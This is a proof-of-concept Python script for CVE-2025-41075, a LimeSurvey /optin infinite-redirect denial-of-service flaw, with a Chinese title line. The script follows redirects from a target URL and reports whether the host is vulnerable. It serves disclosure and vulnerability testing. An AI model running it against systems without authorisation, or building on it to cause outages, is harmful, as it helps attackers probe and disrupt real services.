CVE-2025-41075 LimeSurvey /optin端点无限重定向拒绝服务漏洞

# CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS import requests import time import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_infinite_redirect(target_url, max_redirects=10): """ Test for CVE-2025-41075: Infinite redirect vulnerability in LimeSurvey /optin endpoint This PoC demonstrates the infinite redirect loop by attempting to access the /optin endpoint and tracking redirect behavior. Args: target_url: Base URL of the LimeSurvey instance max_redirects: Maximum number of redirects to follow (default: 10) Returns: bool: True if infinite redirect detected, False otherwise """ endpoint = "/optin" url = f"{target_url.rstrip('/')}{endpoint}" print(f"[*] Testing CVE-2025-41075: {url}") print(f"[*] Maximum redirects to follow: {max_redirects}") try: session = requests.Session() # Disable automatic redirect to detect the loop response = session.get(url, allow_redirects=False, timeout=10) redirect_count = 0 current_url = url redirect_chain = [] # Manual redirect following to detect infinite loop while response.status_code in [301, 302, 303, 307, 308] and redirect_count < max_redirects: location = response.headers.get('Location', '') # Handle relative redirects if location and not location.startswith(('http://', 'https://')): from urllib.parse import urljoin location = urljoin(current_url, location) redirect_chain.append({ 'step': redirect_count + 1, 'from': current_url, 'to': location, 'status': response.status_code }) print(f"[REDIR {redirect_count + 1}] {response.status_code}: {current_url} -> {location}") # Check for infinite redirect loop if location == current_url or location == url: print("[!] INFINITE REDIRECT LOOP DETECTED!") print(f"[!] Redirect chain returns to: {location}") return True current_url = location redirect_count += 1 try: response = session.get(location, allow_redirects=False, timeout=10) except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") break if redirect_count >= max_redirects: print(f"[!] WARNING: Reached maximum redirect limit ({max_redirects})") print("[!] Possible infinite redirect loop detected") return True print(f"[*] Test completed. Redirects followed: {redirect_count}") return False except requests.exceptions.Timeout: print("[!] Request timeout - possible DoS condition") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_41075_poc.py <target_url>") print("Example: python cve_2025_41075_poc.py https://example.com/limesurvey/") sys.exit(1) target = sys.argv[1] print("=" * 60) print("CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS") print("=" * 60) vulnerable = test_infinite_redirect(target) print("\n" + "=" * 60) if vulnerable: print("[VULNERABLE] Target is vulnerable to CVE-2025-41075") print("[IMPACT] An attacker can cause DoS via infinite redirect loop") else: print("[SAFE] Target does not appear to be vulnerable") print("=" * 60) if __name__ == "__main__": main()